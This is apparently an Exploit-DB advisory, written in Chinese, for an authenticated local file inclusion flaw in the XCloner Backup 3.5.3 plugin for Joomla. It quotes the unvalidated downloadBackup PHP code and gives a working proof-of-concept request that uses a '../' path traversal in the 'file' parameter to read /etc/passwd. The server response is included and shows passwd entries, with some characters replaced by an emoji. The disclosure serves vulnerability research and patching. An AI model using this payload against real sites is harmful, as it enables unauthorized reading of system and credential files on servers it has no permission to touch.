漏洞标题：Joomla! 插件 XCloner Backup 3.5.3 - 本地文件包含（已认证）
日期：2020-05-10
利用作者：Mehmet Kelepçe / Gais Cyber Security
Exploit-Db 作者 ID：8763
参考：https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
厂商主页：http://www.xcloner.com
软件链接：https://www.xcloner.com/support/download/
版本：3.5.3
测试平台：Kali Linux - Apache2
详情：
文件：administrator/components/com_xcloner-backupandstore/admin.cloner.php
-
case 'download':
downloadBackup($_REQUEST['file']);
break;
-
downloadBackup 函数所在的文件 -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
漏洞参数：file
downloadBackup 函数的定义
-
function downloadBackup($file)
{
global $_CONFIG;
$file = realpath($_CONFIG['clonerPath'] . "/$file");
//First, see if the file exists
if (!is_file($file)) {
die("404 File $file was not found!");
}
//File Info
$len = get_filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));
//Setam Content-Type-urile pentru fisierul in cauza
switch ($file_extension) {
default:
$ctype = "application/force-download";
}
smartReadFile($file, $filename);
exit;
}
-
以及 smartReadFile 函数的定义
-
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
{ header ("HTTP/1.0 404 Not Found");
return;
}
$size=filesize($location);
$time=date('r',filemtime($location));
$fm=@fopen($location,'r');
.
.
.
-
PoC：
请求：
-
GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1
-
响应：
-
HTTP/1.0 200 OK
Date: Sun, 10 May 2020 18:12:04 GMT
Server: Apache/2.4.41 (Debian)
Cache-Control: public, must-revalidate, max-age=0
Pragma: no-cache
Accept-Ranges: bytes
Content-Length: 3347
Content-Range: bytes 0-3347/3347
Content-Disposition: inline; filename=passwd
Content-Transfer-Encoding: binary
Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700
Connection: close
Content-Type: application/octet-stream
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
.
.
